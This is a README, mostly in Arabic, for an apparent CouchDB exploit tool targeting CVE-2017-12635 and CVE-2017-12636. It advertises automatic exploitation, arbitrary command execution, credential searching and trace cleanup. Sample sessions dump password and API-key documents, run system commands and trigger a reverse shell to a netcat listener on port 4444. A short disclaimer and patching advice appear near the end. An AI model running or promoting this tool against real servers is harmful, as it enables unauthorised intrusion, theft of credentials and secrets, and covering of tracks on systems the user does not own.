✅ استغلال تلقائي - أمر واحد للتحكم في كل شيء

✅ قشرة تفاعلية - واجهة أوامر سهلة الاستخدام

✅ عارض قواعد البيانات - تصفح جميع قواعد البيانات والمستندات

✅ عرض JSON كامل - رؤية محتوى المستند بالكامل

✅ بحث شامل - البحث عن الكلمات المفتاحية في جميع قواعد البيانات

✅ أوامر النظام - تنفيذ أوامر عشوائية على الجهاز الهدف

✅ قشرة عكسية - الحصول على قشرة تفاعلية كاملة

✅ سجل الأوامر - تتبع إجراءاتك

✅ تنظيف تلقائي - إزالة الآثار بعد الاستغلال

✅ إخراج ملوّن - سهل القراءة والفهم

# Python 3.6+ required
python3 --version

# Clone the repository
git clone https://github.com/darabium/couchdb-exploit.git
cd couchdb-exploit

# Install dependencies
pip install -r requirements.txt

requests>=2.25.0
urllib3>=1.26.0

# Simple exploit
python3 couchdb-exploit.py -t <TARGET_IP> -p <PORT>

# Example
python3 couchdb-exploit.py -t 192.168.1.100 -p 5984

python3 couchdb-exploit.py -h

usage: couchdb-exploit.py [-h] -t TARGET [-p PORT]

arguments:
  -h, --help            show this help message and exit
  -t TARGET, --target TARGET
                        Target IP address or hostname
  -p PORT, --port PORT  Target port (default: 5984)

couchdb> db

[+] 39 databases:
   1. _replicator (0 docs)
   2. _users (12 docs)
   3. admin (5 docs)
   4. passwords (25 docs)
   5. core-configuration (8 docs)
   ...

couchdb> view passwords

[+] Viewing database: passwords
============================================================
[*] Total documents: 25

📄 Document #1
ID: user_admin
Full content:
{
  "_id": "user_admin",
  "username": "admin",
  "password": "Admin123!",
  "email": "[email protected]",
  "role": "superadmin"
}
------------------------------------------------------------

couchdb> search password

[+] Searching for 'password' in all databases...
============================================================

✅ Found in 'passwords'
ID: user1
Content:
{
  "username": "root",
  "password": "rootpass123"
}

✅ Found in 'config'
ID: app_settings
Content:
{
  "db_password": "secret123",
  "api_key": "sk_live_abc123"
}

couchdb> exec whoami
[+] Executing: whoami
[+] Command executed!

couchdb> exec id
[+] Executing: id
[+] Command executed!

# On your machine (listener)
nc -lvnp 4444

# In the exploit
couchdb> reverse 10.0.0.1 4444
[+] Setting up reverse shell to 10.0.0.1:4444
[!] Make sure listener is running: nc -lvnp 4444
[?] Continue? (y/n): y
[+] Reverse shell triggered!

# You should get a shell on your listener!

هام: هذه الأداة مخصصة للأغراض التعليمية وللاختبارات المصرّح بها فقط.

    🚫 لا تستخدمها على أنظمة دون إذن صريح

    🚫 المؤلف غير مسؤول عن أي سوء استخدام

    🚫 استخدمها فقط في بيئات خاضعة للتحكم أو على أنظمتك الخاصة

    ✅ احصل دائمًا على تصريح كتابي قبل الاختبار

    ✅ اتبع ممارسات الإفصاح المسؤول

قم بالترقية فورًا إلى CouchDB ≥ 1.7.0 أو ≥ 2.1.1

استخدم جدار الحماية لتقييد الوصول إلى المنفذ 5984

فعّل المصادقة واستخدم كلمات مرور قوية

راقب السجلات بحثًا عن أي نشاط مشبوه

قم بمراجعات أمنية منتظمة لبنيتك التحتية

# Upgrade CouchDB
sudo apt-get update
sudo apt-get install couchdb=2.1.1  # Or latest version

# Restrict access
sudo ufw allow from 192.168.1.0/24 to any port 5984

CVE-2017-12635 - NVD

CVE-2017-12636 - NVD

أمان Apache CouchDB

Exploit-DB

GitHub: @darabium

Telegram: @darabium

⭐ قم بتمييز المستودع بنجمة

🐛 أبلغ عن المشكلات

🔧 ساهم بالتحسينات

📢 شاركها مع الآخرين